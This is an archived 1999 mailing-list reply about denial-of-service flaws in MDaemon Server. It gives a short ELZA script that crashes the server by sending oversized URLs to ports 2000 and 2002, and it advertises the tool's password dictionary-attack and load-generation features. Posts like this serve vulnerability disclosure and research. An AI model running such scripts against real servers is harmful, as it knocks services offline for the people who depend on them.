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Re: Multiples Remotes DoS Attacks in MDaemon Server v2.8.5.0Vulnerability
Philip Stoev (philip
EINET.BG)
Wed, 24 Nov 1999 22:12:25 +0200
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Recently, it occured to me that it is by no means necessary to compile a
binary for every such DoS, even if it can not be performed with telnet or
netcat.
So, I wrote a script language for automating HTTP requests. The interpreter
can be obtained from http://phiphi.hypermart.net. Please give it a try.
Feedback to philip_stoev
iname.com is very welcome.
This DoS would look like this written in ELZA:
var onerror = continue
subst SERVER ? 127.0.0.1
subst BIGURL > 1000
get url http://SERVER:2000/BIGURL
get url http://SERVER:2002/BIGURL
The language has the following abilities as well:
- Extraction of _dynamic_ URLs from links, frames, layers, image maps,
applet parameters and other HTML elements, based on _static_ attributes of
those elements, such as name, sequence number or the text visible to the
user.
- Handling of forms, passing custom form fields and field values,
collecting hidden form fields;
- Following redirects and refreshes;
- Proper handling of cookies, honoring their Path and Domain attributes;
- HTTP Referer, User-Agent, and other HTTP headers for perfec mimcry;
- Handling HTTP basic authorization including dictionary attacks;
- Looping for repeated requesting or dictionary attacks;
- Conditional execution;
- HTTPS communication via a SSL tunnel;
Scripts written in ELZA can be executed remotely via POST or forked for
load generation.
Take care,
Philip
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